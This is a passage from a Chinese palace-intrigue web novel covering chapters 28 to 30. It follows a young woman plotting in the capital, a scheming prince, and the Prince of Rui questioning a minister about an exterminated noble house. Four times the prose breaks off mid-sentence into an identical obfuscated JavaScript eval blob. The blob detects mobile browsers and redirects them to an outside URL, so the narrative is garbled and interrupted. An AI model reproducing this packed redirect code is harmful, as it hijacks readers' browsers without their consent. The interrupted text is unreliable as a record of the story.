“没错，”袁彦打开竹筒，倒出其中纸卷，随口道，“祝大学士尚未致仕时，素有两袖清风一说，不站队，不应酬结党，只守着先帝一人，先帝驾崩，他便告老还乡，谁的面子都不给，谁的权势都不怕，知道最难得的是什么吗？”她笑起来，自问自答，“大学士自欺欺人了一辈子，到死都在骗自己。” 韵采道：“若真是当了一辈子闲官，又何必早早与姜家定了亲，虽说这中间免不得一番你推我往的操作，看似一段佳缘美满，可若细心分析之后，是能够从中梳理出脉络线条的。” “在朝多年，被权利浸染，有几个还能记得自己当初的所谓初心？从踌躇满志到蝇营狗苟，差不多就是大多数官场人的一辈子了，这只是运气好点的，不好的，基本上在踌躇满志之时就被打杀了事，不过运气好赖，最后都逃不过一个东窗事发，九族横死。” 袁彦笑了笑，“当然，事无绝对，也有那欺天瞒地骗自己，寿终正寝了的，只不过那位祝大学士运气确实没那么好罢了。” 纸卷窄窄一条，上面蝇头小楷几百字，说的是那澹洲的秋后时节，举世独有的红叶枫华落满洲，洋洋洒洒，抑扬顿挫，联篇累牍。乍看之下，不过都是些对于那独有景色堆叠的溢美辞藻，然而藏头藏尾，细细看去，大致意思却只有寥寥几字：他已知晓。 与此事无关之人，就算看出其中玄妙，也仍然不明所以，可若被相关之人拿到，便就成了一次次未雨绸缪，与釜底抽薪了。 昔年那位文武双全的天下兵马大元帅，故乡便在澹洲，大长公主司空青蓝婚后还曾随夫搬迁，在那澹洲住了将近三年。 “他既做了刑部侍郎，便相当于和我们站在了一条船上，祝氏时隔多年再次进京，一家三口借着探望女儿妹妹的名义送信，不可为不谨慎，以为咱们那位刑部侍郎心中不知吗？只不过是被我们抄了先手，不然为何事情一出，他便和那位丁县丞前后脚赶到？水玉楼离着刑部可有至少一个时辰的路呢！那三人的尸身在仵作处停留多日，恐怕早就不知被里里外外翻过多少遍了。” 韵采想了想，尝试着问：“姑娘的意思，这张纸里所说的事情，如今在我们手中，算是掌握了那位大人的一个把柄？” 袁彦笑着点头。 算是吧。 韵采有些担忧，“姑娘，虽然只打过一次照面，但直觉告诉我，如无必要，最好还是得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443183|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远离那位为上。” “晚了，”袁彦声音似喃喃，幽幽一叹，重复道，“晚了。” 韵采也知道自己是在事后诸葛了，心情沉重，只是又很快轻松起来，怕什么，兵来将挡就是了。老话说乱拳打死老师傅，就是再如何危险的人，还不是俗子凡胎一个，岂能时时刻刻保持警惕，若不警惕，哈哈，真当自己刀枪不入不成？只要到时候教她有机会在他身上留下几个洞，便能任是大罗金仙来了，也要摇头叹上一句“药石罔效”！ “姑娘不怕，将来平京事了，我替姑娘给他几刀便是！” 袁彦哭笑不得，哪里知道韵采这一呼一吸间都想了什么乱七八糟，不过听她有此一说，心中便明白几分，倒也没特意去透露什么，只是点点头说：“此事不急。” 韵采点头，的确还早。 “绯绯今日动身？” “没错，大概一旬左右就能到京，同时也给阎婆婆去了信，请她处理完青罗郡那几人的后事，再往永州方向稍稍绕一下，按照脚程，应该是能碰上面的，绯绯身边也跟了两个我那边的不记名弟子，身手都相当不俗，她自己也为防意外易了容，所以进京这一路，姑娘只管放心。” 袁彦将秀珍竹筒重新收好放回去，笑道：“你办事周到，我哪有什么不放心的。” “对了姑娘，郭家那位二公子的生辰就在五日后，他家街对面的乞儿送来消息说，今年二公子要在水玉楼庆生，看样子是要大办特办，已经预定好房间了。” “寒窗苦读十几载，一朝喜中探花郎，确实是该好好庆祝，”袁彦想了想，告诉她，“那么我们准备的那则消息，就要在二公子生辰的隔天，传遍平京。” 韵采想要点头回应一声，可心中那股难受劲儿便再次涌上来，从那日打春宴回来，姑娘冒出来那个想法起，她就有一万个不甘不愿，此刻听她如此云淡风轻地说出来，心里更别提是何滋味了，忍不住埋怨，“姑娘也忒不看重自己名声了！” 袁彦不以为意，“也不能拿来当饭吃，更不能助我完成平京诸事，名声而已，要它何用？” “话虽如此，姑娘以后总该是要嫁人的，消息一经放出，别说是说亲了，怕是往后就连提到姑娘，都得先在嘴里敬而远之了！” 试问哪家闺阁女子不将名声看得比命重？说到底还是他们眼下势单力薄，若姑娘家中长辈犹在，又岂会教那些个外人掣肘，迫得人不得不处处小心应对！ “无妨的。”袁彦轻轻道。 韵采偏头看过去，见她家姑娘双目正望向远方天际，眉如远山，眼眸温柔，呆了呆，便鬼使神差说了句，“待平京事了离开，我便陪着姑娘去除了南疆以外的地界瞧瞧，天大地大的，也不是只有嫁人这一条路可走。寻常女子没得选，姑娘又不是！” 袁彦转过头来，蓦然一笑，大概是早上赶得急，头上的素簪都戴歪了，抬手帮她整理好，左看右看一番，赞道：“真好看。” 韵采想笑又强忍着，以至于脸色颇古怪。 “除此之外都是小事，都可以后再说。” 韵采整个人站得笔直，拍了拍腰间，“姑娘有我呢，我有好刀，大可万事不忧！” 28. 第 28 章 逸云坊，康平王府。 日头高悬，微微凉风，司空朔颇为闲适，全然看不出刚丧了爱妾的样子，正站在池塘边喂鱼，阮郎中从旁作陪。 池子里的鱼已是新换的一批，个头暂且没有先前那般大，虽然都是出自涿州，却是品种平平，没什么妙处。 “余老板来信了，说他人此刻已至涿州，安顿好后便着手踅摸殿下您要的那种锦鲤，”阮郎中也拿起盛满鱼食的木碗，笑了笑，“不过殿下若是还想要跟先前一样的，恐怕就得大失所望了。王主事孝敬您的那两条实在是百年难遇，便是当下将涿州翻个底朝天都找不出一条相似的，但余老板也说了，他会尽量帮您多找些其他名贵品种，至于您最想要的，他接下来会特别留意，只要碰上了，就一定会为殿下运回来。” 司空朔听完，心情说不上好坏，没什么情绪地回一句：“告诉他钱不是问题。” 阮郎中点头应了声，“殿下放心，余老板省的。” 司空朔扔了把鱼粮进池子，视线盯住眼前那一片五颜六色的簇拥翻滚，神色渐渐冷了下去，“还没查到是何人所为？” 阮郎中小心翼翼拿余光瞥了眼司空朔的脸色，斟酌道：“已经让人将那日游荡在宅子附近的乞儿拘到了三花坊的那处宅子，挨个问着了。” 司空朔目露不善，“将近一旬，就是祖宗八代的坟头在什么地方都能一清二楚了，闲饭有这么好吃？” 阮郎中一时不由汗颜。 “殿下，这次的事明显是别人早有预谋的，老话讲只有千日做贼者，哪有千日防贼的道理，”阮郎中放下木碗，无声一叹，“况且能神不知鬼不觉避开府中护卫的视线，将此事做成了，就更不是什么普普通通的小贼了。” 司空朔攥了把鱼粮，没有朝池子里扔，指骨分明，青筋暴起，片刻后，他缓缓摊开手掌，阮郎中眼皮子微颤，那一把粒粒分明的鱼粮顷刻间化作潮湿粉末，松松散散地黏在一起。 “父皇那日召见我，其实并未说什么重话，聊了些府中大小事，甚至连半月前那顿晚饭吃了什么都被他随口说了出来——无非是想告诉我，安分些，如果还想要那个位置，就莫再妄动，否则下次折的可就不是妾室与护卫统领那么简单了。” “堂堂帝王，竟是有些幸灾乐祸了，你说，他在那个位子上坐着，每天得是多战战兢兢啊？” 阮郎中轻声道：“府上那几颗钉子，都在掌控中。” 司空朔未搭话，他只是环顾四周，心里同那倒春寒的天一样冷。 “今上心中还是非常看好殿下的。” 司空朔想起了什么，像是忍俊不禁，却又无端教人寒颤。 当年由他牵头做的那档子事，不过就是个奉命行事，结果呢，惹来那位高高在上之人的忌惮不说，这些年明里暗里的敲打，他的人一个接着一个被撸下马，堂堂一个亲王，如今却只好夹着尾巴每日龟缩在这府中。如何甘心？怎会甘心？ 不过是稍微做出了点动静而已，便就迫不及待将他召进宫中，敲些个软中带刺的钉子——怎的，北梁自立国来从未有过东宫，皇位向来是先到先得，谁争抢到就是谁的，何时成了他一言堂要钦定人选？钦定谁？他们有命拿，坐得稳吗？ 他在那个位子上坐了许多年，难不成是忘当初了如何“名正言顺”才坐上去的吗？ “去告诉南阳侯刘禛，说本王答应他的条件了。” 阮郎中拈住山羊胡，沉吟道：“殿下，南阳侯明显是狮子大开口，看准了殿下现在的难处，殿下不若再晾他一晾，南阳侯无召进京，已经耽搁了这许多时日，坐不住的该是他才对！” 司空朔摇头，“他在京中越久，保不齐最后会连累王府一起吃挂落，所以刘禛此刻急是真的急，可若他豁出去将我一同拉下水，岂不是更合了某些人心意？我不允许这种被动情况出现，父皇老了，眼看着撑一日便少一日，这种时候，容不得我不谨慎！” 阮郎中还是心有不甘，“那条矿脉是王府桌面下的一条秘密渠道，连今上都不知那背后主人是殿下您，南阳侯是如何得知的？他那么笃定，显然是早就瞄准了，常年龟缩在青罗郡那鸟兔一窝之地的侯爷，是怎么就要把手伸向隔了三个州城的矿脉中去的？草民只怕这又是一个早早挖好的陷阱，就等着殿下这个时候一头扎进去，再也出不来了。” 司空朔唇角一扯，似笑非笑，“就算是陷阱又能如何？一条矿脉而已，于王府来讲的确重要，但于那个位置，就显得多此一举了，父皇现在不知，不代表以后不知，你猜猜，按照父皇一贯的作风，有朝一日知道了我便是矿脉背后的主人，他会如何对待我，还有这座康平王府？” 阮郎中张了张嘴，欲言又止，秉着隔墙有耳的原则，即便是在重重戒备的康平王府，两人之间的交谈近乎耳语，他也不敢将心中所想付诸在嘴上，呈那口舌之快，只说道：“帝王心思，变幻莫测，草民不敢妄断。” 司空朔扯了扯唇角，嗤笑起来。 阮郎中躬身道：“草民考虑不周，还望殿下见谅。” 司空朔挥了挥手。 － 薛崇贵近日在户部每每待至戌亥方归，有好几日未在家中用饭，也有好几日没有留宿妫氏的卧房，披星戴月的，也不知是在忙什么。妫氏有心想问一问，又总是寻不到机会，晚间着人去给送饭，小厮却连尚书大人的面都见不着，匆匆被打发，回到府上免不得再挨一顿骂。 送了几日，小厮就换了几个，皆是如此。 妫氏摸不着头脑，心中就有些害怕，忍不住反思自己这些时日所做之事，到底哪里出了纰漏，以至于尚书大人连家都不愿回，她的卧房又不是什么龙潭虎穴，怎的就跨不进来了？ 想不出来，于是只能提心吊胆，安分不少。 这日午后不久，薛崇贵忙中偷闲，煮了一炉好茶，寻了本澹洲年前送来的账册，就着茶香翻过一页。 “尚书大人好雅兴。” 薛崇贵眉眼一颤，结结实实被烫到了嘴。 不过尚书大人依然保持住了该有的风度，咬牙忍过那一阵钻心疼痛，放下茶杯和账册，起身和谢兆见礼，“殿下大驾光临，有失远迎，恕罪恕罪。” 谢兆径自走进来，低头瞥了眼桌案，坐下来问道：“午饭用的有些多，不想散步到了尚书大人这里，还能讨一杯好茶汤来喝，不介意吧？” 薛崇贵忙道：“哪里哪里，殿下尽管自取，只是并非什么好茶，都是下官素日里偷闲用来打发光阴的。” “那我就却之不恭了，”谢兆拿了个小巧茶杯，给自己舀了一汤匙，浅啜一口，点点头，“不错不错，里面是放了柑橘？” “就是些年后家中余下来的金桔，烘干了煮进茶中，味道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443184|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别具一格，”薛崇贵笑呵呵道，“还是小女教给下官的法子，一开始下官还不以为意，没想到试过之后，竟是两天不喝就要想一想了。” 几句话间，茶汤便散了些许热，没那么烫，谢兆又低头喝了一口，而后搁下茶杯，神色淡淡。 “尚书大人当年在永州任职之际，可与那嬴氏有过接触？” 冷不丁的问话，饶是薛崇贵为官多年对于修心一事已极有心得，被谢兆这么一问，还是心头微震，手中端着的茶杯不上不下，像是平平常常半杯茶汤，忽然之间便有了千斤重。 薛崇贵轻声道：“殿下说的可是在十年前就销声匿迹的永州嬴氏？” 谢兆偏头瞥了眼桌案上摆着的澹洲账册，收回目光时，笑着点了点头。 薛崇贵道：“是有过接触的，下官在永州任职之时，免不得要跟当地那些名门望族打交道，嬴氏在永州又算是坐得头把交椅，当然接触颇多，只不过都是些公务上的往来，不知殿下有此一问，是想知道什么？” 谢兆却不答，继续说起了别的，“史书记载，蓝氏曾是中原大姓，至北梁立国，蓝氏子孙已有数万余人，后因故举族迁徙，却在途中产生分歧，其时经过讨论协商，最终一分为五，去往五个不同方向，五支蓝氏族人有些改了姓氏，有些仍保持原样，其中一支正是扎根在南疆地界的永州城，为了区分开其他分支，改姓为嬴。”到后面几个字，谢兆看向薛崇贵，说得尤其慢。 薛崇贵由衷庆幸此时此刻此时节不是那炎炎酷暑，否则额头的汗当是如何遮掩都成了欲盖弥彰，他放下茶杯，想了想，却是赞了句，“殿下博览群书，下官钦佩。” 一些稗官野史都找不到的东西，也不知这位瑞王殿下到底从何处看了来！ 谢兆仿佛听不出他话中调侃，无动于衷。 “的确是，”薛崇贵自讨没趣，遂正襟危坐，缓缓道，“嬴氏这一支确实是蓝氏的一个分支，嬴氏家主善经营，不过十数年，就成了永州城不可或缺的存在，及至下官赴任，嬴半州的名头已经响了不知多少年。” 谢兆点点头，突然笑道：“尚书大人可莫要说那南疆妖女蓝玉与嬴氏一点关系都没有。” 薛崇贵只余苦笑，“殿下这是何意？那妖女蓝玉早年间便销声匿迹生死不知，下官对此更无甚好隐瞒的，自然是殿下问什么，下官都会知无不言。” 谢兆自顾自再给自己舀了一匙茶汤。 薛崇贵心思微转，说出的话有如车轱辘打转，“那妖女蓝玉的确身份成谜，师门亦是神秘难寻，若说与永州嬴氏毫无关联，下官不敢如此笃定，可若说有关系，仅仅是因姓氏相同就断定，殿下，是否武断了些？” 谢兆却好似天马行空，心思东一榔头西一棒子，不在意薛崇贵的和稀泥，又问了句不着边际的话，“镇国公府袁家长子当年娶妻，娶的是何人？” 八年前那个冬夜，镇国公府阖家百余口皆命丧黄泉，所有背景档案均在那日销毁，若想知道当年事，就只能开口向那些旧人询问，只是国公府当年牵连甚广，更成了当今陛下的逆鳞，对此事一知半解的，都在猜来猜去，掌握来龙去脉的，却都三缄其口。 薛崇贵如老僧入定，放于桌案下的双手交握，两根拇指却在来来回回，上下翻飞。 谢兆见此，蓦然一笑，“明白了，薛尚书此举，无声胜有声。” 29. 第 29 章 薛崇贵将谢兆礼送出户部，目送其远走，心中好似巨石坠地，如释重负。 瑞王殿下今日一番好似带着答案而来的提问，想必是早已成竹在胸，反正他这边什么都没说，却也什么都透露了，不枉费静候的这些天来，日日夜半归家。 若非妫氏自己心中有鬼，这段时间她倒也不必处处试探，薛崇贵何尝瞧不出，只不过是睁一只眼闭一只眼而已，如今之日子都是彼时之自己所求而来，过到这份上，是苦是甜还不全凭自己品尝。消停了也好，省得另外腾出心思应付。 既然如此，近几天便还是夜里再回罢。 想到此处，薛崇贵摇了摇头，哼着不知名的南疆小调，慢悠悠走回了茶歇处。 － 整个下午，谢兆坐在桌案前处理公务，却心不在焉，时常走神，连过来做汇报的下属都发现了些许端倪，只不过碍于平日里侍郎大人对待公务的严肃认真，因此就算是察觉到了不对劲，也未曾多想。大人日理万机，不单管着刑部，连大理寺的诸多事情都得亲自出面，如此神色，定是遇到了棘手案子夜不能寐，劳心劳力，精力耗光而已。 这位下属良知未泯，自圆其说想通其中关节，回到衙门之后，心中便越发过意不去，着人找来过去五年内所有搁置的悬案卷宗，眼看着日落西山，他竟是没了散职的意思，要秉烛夜读了。 谢兆自然不知自己这般无心之举会给下面的人带去多大影响，按时按点坐上回府的马车，手边的小桌案上搁着暗卫荷风带回来的厚厚书册。 其实已经从头到尾看了两遍，里头内容大差不差可以在心中默默复述出来，却仍然忍不住再次摊开册子。 这些日子总是多梦，连续的，循序渐进的，醒过来后犹有记忆，是梦，又不太像。 似乎那年不由自主忘掉的某些事情正通过梦境一一找回。 当年距离他坠湖过去了两月有余，方才从一些人的口中得知，秋分当日，镇国公被人秘密告发通敌叛国，皇帝震怒之后，命人暗中调查搜集证据，待人证物证齐全，于冬至夜密令二皇子康平王司空朔带兵诛杀袁氏九族。 阖府上下无一活口，后来负责计数的小吏对照名册，发现独独缺少一人，于是立即上报。此事甚大，负责这件事的康平王更是在皇帝面前立下了军令状，一时间所有曾经与镇国公府交好的官员人人自危，同时人人自查，生怕一着不慎，后院起火。 皇帝给的三日期限转眼就到，康平王几乎翻遍平京城，及至最后一刻，他已几近疯魔，军令状已立，若无结果，他便要自己顶上那个空缺！ 命悬一线之际，便是那位阮郎中不请自来，身后拖着辆板车，上面躺着个毫无生气的小小姑娘。 谢兆蓦地扔了书册，手捂心口，眉头紧皱。 倏然又仿佛劫后余生，方觉竟是虚惊一场。 马车停稳，谢兆缓了一口气，掀开帘子脚踩马凳下车。 燕七老早就候在外头，手疾眼快虚扶一把，“殿下慢行，小心。” 门前另停了辆车，谢兆望过去一眼，燕七忙道：“是段林木段公子到了。” 想起昨日被此人半道放了鸽子，谢兆脚步快了不少，打定主意等下见了面，必得先向他讨个说法才能作罢！ “来多久了？” 燕七道：“个把时辰，段公子一直陪着太妃说着这几年在外的见闻，不曾用过晚饭，只在一刻钟前吃了茶点垫腹。殿下，小的瞧今日的段公子神色言语间颇为自得，意气风发的，想来是有喜事将近呢。” 谢兆垂眼听着，走上拱桥时恰好说到这，便停步，瞥了眼底下的粼粼湖水，转身似笑非笑看了燕七一眼，“想说什么？” 燕七向后退了两步，挠了挠脸，嘻嘻笑说：“殿下要早早做个心理准备，小的观望太妃的意思，怕是心中主意已定，不等殿下点头，王妃就要过门了。” 谢兆抬手狠狠敲了燕七一记板栗，“太妃的心思你也敢猜，胆大包天！” 燕七连声告罪，而后凑近了低声说：“小的也是想为殿下分忧，殿下不愿成亲，定是殿下早有盘算，太妃着急归着急，可也没道理在这事上迫人就范！若到时王妃不得殿下欢心，还如何在一块过那么多年？” 谢兆继续往司空青蓝的院子方向去，声音不轻不重落到身后，“瞎操什么心？今日可去过浣衣坊了？” 燕七眉眼瞬间垮下来，咕咕哝哝道：“不去！” 谢兆只是笑笑，不再说话。 跨过月亮门，就能隐约听见院中传出的笑语声，谢兆喊了声“怀远”，不远处的动静随之一停，片刻后，段林木便跑了出来，大笑道：“可算是等到你，太妃方才还想着人去问，我便说以我俩的默契，哪有那个必要，我既然来，你必定能早回了！” “昨日有人见色忘友，就算你今日不来，我等会也是要找上府去的！” 段林木忙告饶，“见谅个见谅个，终身大事不可儿戏，知微深明大义，必定不会同我计较些许小事。” 谢兆与他并肩往假山后面去，段林木感叹道：“知微好手艺，用四棵树相互枝叶缠绕，竟能搭出个避暑乘凉的天然凉亭，坐在其中吃茶点，简直不要更惬意！你到底哪里来的那些个妙点子，快快说与我听，如今亲事在即，学来讨娘子欢心，想来更添乐趣。” 谢兆说他：“叫你平时多看些书，否则也不至于临到用时脑内空空。” 段林木摇头，“我将来是要上战场的，把身子骨再打熬打熬方是正事，奇思妙想偶尔为之，万不能当做什么必做之事。” 谢兆不以为意，“为将领者若都如你这般想，北梁怕是早被边境那几方势力吞并瓜分了，战场上……” “知微知微，快饶了我，”段林木见他说起没完，忙截住话头打断，“咱们从小玩到大，学塾都在一块上，自是知道我这一看字就犯困的毛病，哪里学得来书上的道理？还是别为难我了！” 谢兆气笑，本想再说点什么，但见他已心不在焉，只得作罢。 与坐在树亭下的母亲见过礼，落座后问道：“打算何时去兵部？” “下个月，可惜之后就不能每天来府上看望太妃了，”段林木叹道，忽而又笑起来，“不过太妃放心，就算再忙我也会尽量多来的，绝不会同知微一般，有了公职就忘记回家。” 谢兆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443185|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神不善地盯过去。 司空青蓝弯唇笑说：“还是公事要紧，待将来亲事成了，你便带着娘子一同来，吴家那小丫头前几年还来府里吃过几次席，是个伶俐人，与你也相配。” 段林木笑得眼睛眯成一条缝，给谢兆使了个眼色：瞧瞧，我这个表率做得如何？ 谢兆只作视而不见。 司空青蓝一反常态，竟没有借机将话锋转接到谢兆头上的意思，而是闲话几句之后，便借口乏累回去休息了。 段林木做贼一般，待司空青蓝走远，他便凑近谢兆，轻声问道：“知微昨日去见了谁？” 谢兆撩眼看他。 段林木轻拍石桌，“可别想着糊弄我，昨日我那小厮在四周闲逛，好巧不巧就逛到了你的附近，”觑着谢兆的神情，段林木憋着笑，“知微莫恼，小武并未瞧太真切，否则我今日也不会巴巴跑来和你求证。快与我说说，究竟是哪家的闺秀入了你的眼？” 谢兆起身就要走。 段林木先一步挡住去路，按着他坐回去，嬉笑道：“方才同太妃闲谈，提到了几日前的那次打春宴，言说知微应是瞧上了其中一位贵女闺秀，甚至假借太妃的名义将人留了一时半刻——可是真的？或这其中可有隐情？” 谢兆回想昨日在后山同薛家那位千金的交谈，心下微微一叹，“莫须有的事，不要听风就是雨。” 段林木哪肯轻易被这种话遮掩过去，“让我猜猜，知微如此说辞，可是郎有情人家对你无意？” 谢兆打定主意不再回应半句。 “我现在是真真好奇了，这家贵女当真是个有志气的，连瑞王殿下的‘意’竟也舍得拂，她难道不知道，每年到底有多少京中适龄闺秀心心念念，就想将绣球抛到你怀里？” 说话时，段林木大概是福至心灵，脑海中蓦然浮现出昨日车中向外望时那惊鸿一瞥，京中贵女多矜持，起码大庭广众之下不会多展露本性，似那般张扬明媚之人着实少见，否则也不会令他到此时还印象深刻。 段林木笑说起那位快意纵马的女子，挤眉弄眼道：“是否？” 谢兆有些无奈，同时心中又隐隐莫名激颤，被逼问至此，忽然不愿好友再继续回忆，终于点头应了句：“是。” “我就说昨日你不对劲，怪道昨日路上话恁般多，里里外外提醒我正事要紧，原是怕我……”段林木忍不住轻拍手掌，笑他，“哈，好本事，奇了奇了！” 张嘴欲多问几句，岂料谢兆已起身招来燕七，不由分说吩咐道：“送段公子出去！” “哎？” 燕七挡在谢兆身前，“段公子，殿下当职一日，已是乏累不已，段公子不若等到休沐日再来相聚，至时殿下定然状态极佳，才更有精力与段公子畅聊啊！” 虽不知殿下因何就要送客，但根据自小跟在殿下身边的经验，方才的语气肯定不是什么其乐融融，必是这位段公子言语不忌，两人如以往多次那般，连闲聊都对付不到一处去了。 于是连拖带请的，将段林木送上了段家的马车。 “知微，明日我还来——” 谢兆转身，府门以最快速度上锁。 30. 第 30 章 寅时初，谢兆再一次在那场湿冷刺骨的梦中醒来，汗湿里衣。 开春后的天时冷时热，风好似卯着劲地往骨子里钻，披衣起身去点灯，不一会就有值夜的小厮敲门，“殿下？” “烧桶水，我要沐浴。” 小厮立时领命而去。 此刻屋外邪风呼号作响，谢兆喉间发干，无端端打了个冷颤。 辰正时分，用过早饭，谢兆在府中散步消食，四下无人之际，暗卫荷风越墙而来，“殿下，郭尚书家的郭二公子今日订了水玉楼的雅间，邀了不少同僚，名为庆生，实则是郭尚书在背后谋划，欲借生辰之便行拉拢之实。” “看来郭汝明是得了授意，开始暗中运作了。” “殿下，我们要阻止吗？” 谢兆轻抵唇间，低声咳嗽，嗓音沙哑，“如何阻止？拿把刀架在各家脖子上教他们莫要妄动？” 荷风低头不语，这种事需得千善在方能应对自如，他年纪大，吃得盐最多。 “不必理会，让他们放开手脚去争，我只看最后的结果。” 荷风点头应是，觑着谢兆神色，出声问道：“殿下可是昨夜又吹了风？” “无妨，”紧了紧肩上披着的狐裘，忽略此刻正阵阵发冷的身子，“不耽误事。” 不远处传来响动，荷风无声告退，翻墙而走，谢兆扭头看向长廊，发现是燕七往这边来。 “殿下，马车已备好，是要现在就……”他忽然住嘴，仔细望了望谢兆神色，告罪一声，上前以五指轻搭他额头，而后迅速收手，“殿下在发热，怪小的没事先察觉，殿下稍候，小的现在就去请窦太医！” “不关你事，饭后才开始热起来，”谢兆叫住他，“只是普通风寒，无需麻烦，只管按照以往的方子抓药退热即可。” 燕七仍然不敢大意，“殿下，这么些年您每每生病症状看似相差不大，却次次都是谬以千里，稳妥起见，小的还是先去禀了太妃，再去请窦太医过来！” 谢兆头脑沉沉，不愿多说，只拿眼睛盯住他。 燕七被看得心中一慌，迟疑道：“那殿下，小的先扶您回院子休息？” “抓药熬药，不许声张。” 燕七小心搭住谢兆的手臂，轻声应了，“是。” 吃过药，谢兆昏昏欲睡，燕七关紧屋中门窗，之后便亲自守在廊下，正襟危坐，耳朵时时刻刻听着里面的动静。 燕七心中愧疚不已，昨夜本该他当值，却因被自己那点上不得台面的私情所扰，与人换班，悄悄潜去了浣衣坊。人是见着了，却没说上话，他只是蹲在墙头，望着最里面那间屋子，望了一夜。 午时将过，院中小厮外出采买归来，不知是得了什么新鲜事，快到临风阁，仍然嘀咕不止。 燕七循声走过去，面露不悦，“在说什么？” 几个小厮见状纷纷弯腰作揖，连声告罪。 燕七耐着性子又问一遍，“刚在说什么那么起劲儿？” 其中一个平日里胆子就颇大的小声回道：“回七哥的话，方才小的们从外面采买回来，碰上太妃院中的思幻姐姐正同旁人说起今日府上的贵客，小的们因隐约听见她们提到了殿下，便多了一耳朵，稍稍凑近听下来，才知道那位贵客怕是已被太妃相中，想要娶进来给咱们做王妃呢！” 燕七大怒，“郑成，休得胡说！” 叫作郑成的小厮双膝一软，再次告罪。 燕七摆摆手教他们下去尽快归整，自己则匆匆忙忙回到廊下，仔细听过屋中动静，想了想，招来小厮守在门边，自己则转身大步离开，抄近路往太妃院子方向去。 再回来时谢兆已经醒过来，小厮正从旁服侍洗漱。 “殿下有没有觉得好一些？” 谢兆点头，拿起小厮递过来的手巾，瞥见他欲言又止的样子，“有事？” 燕七轻声道：“殿下，府上今日有贵客登门。” 谢兆有些心不在焉，手巾搭在盆边，随口问他：“谁？” 燕七上前一步耳语两句。 谢兆起身的动作微微一顿，重新坐回去时，搭在双膝上的手紧了松，松了又紧。 燕七偷偷瞧着，这一瞬间，突然发觉自己好似勘破了什么秘密。 － 司空青蓝想了几天，才总算想出了合情合理的缘由，并于前日着人送了帖子去户部尚书薛崇贵的府上，邀其嫡长女薛灵过府一叙。 只因那日打春宴上与之闲话几句，说起了从前在外的些许趣闻，太妃娘娘兴致盎然，想到年轻时也曾纵马山河，这几日心中愈发怀念，奈何心为身累，以致思绪郁郁，夜不成寐。问过太医，遂想了这个法子，言人虽走不出去，多听一听或可纾解几分。 薛崇贵对此万没有拦阻的道理，妫氏有话要说，却在欲言又止的当口与袁彦蓦然对视，那一眼竟不知怎的回事，能教她鬼使神差地歇了一切心思。 袁彦心中澄然，知道这等蹩脚借口只不过是求个双方的心知肚明，那日打春宴上她压根就没同太妃娘娘说上超过五句话，哪里会有什么见闻趣事？只是如今帖子已经送到了她手上，如果置之不理，拂了瑞王府的面子不说，传扬出去更会让薛崇贵在外难做。 双方合作，不必要的麻烦能免则免。 于是在接到帖子两日后的晨早，袁彦洗漱梳妆，用罢早饭便带上韵采乘坐马车出门，先是去了趟逸云坊的丝绦堂，等过了午时，才一路晃到了瑞王府。 “姑娘醒醒，咱们到了。” 起得太早，上午又特意去堂里亲自挑选礼物，耗心耗力，马车晃晃悠悠，袁彦愈发困得睁不开眼，便趁着尚有段距离眯眼小憩，原本只想闭目养神片刻，哪成想竟就真那么睡了过去。 睁眼时失神片刻，方才意识到此刻身处何地，稍作修整后，马车稳稳停下。 门房显然早得了吩咐，提前候在半路，待车停稳，又殷勤地放下马凳，先将韵采虚扶下车，后又紧盯袁彦脚下，随时准备接应。 吴管家随后赶来，一路恭恭敬敬引着袁彦二人去往司空青蓝的“宜兰居”。 “薛小姐，前面就是了，太妃娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443186|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在里间。”吴管家快走几步，先去让人传话。 袁彦微微点头，“有劳。” 不一会有人出来，是司空青蓝身边的郑嬷嬷。 “薛小姐里面请。”郑嬷嬷笑容满面，礼数周到。 袁彦二人依言率先进去，郑嬷嬷落后几步，一双眼睛悄悄抬起，不着痕迹地打量着袁彦背影，微笑着点头。 韵采神识敏锐，奈何双方距离较进，不好直接说，便凭借多年相处积攒下的默契，隐晦地和袁彦对视一瞬。 袁彦心领神会，神色淡然，没做出什么表示。 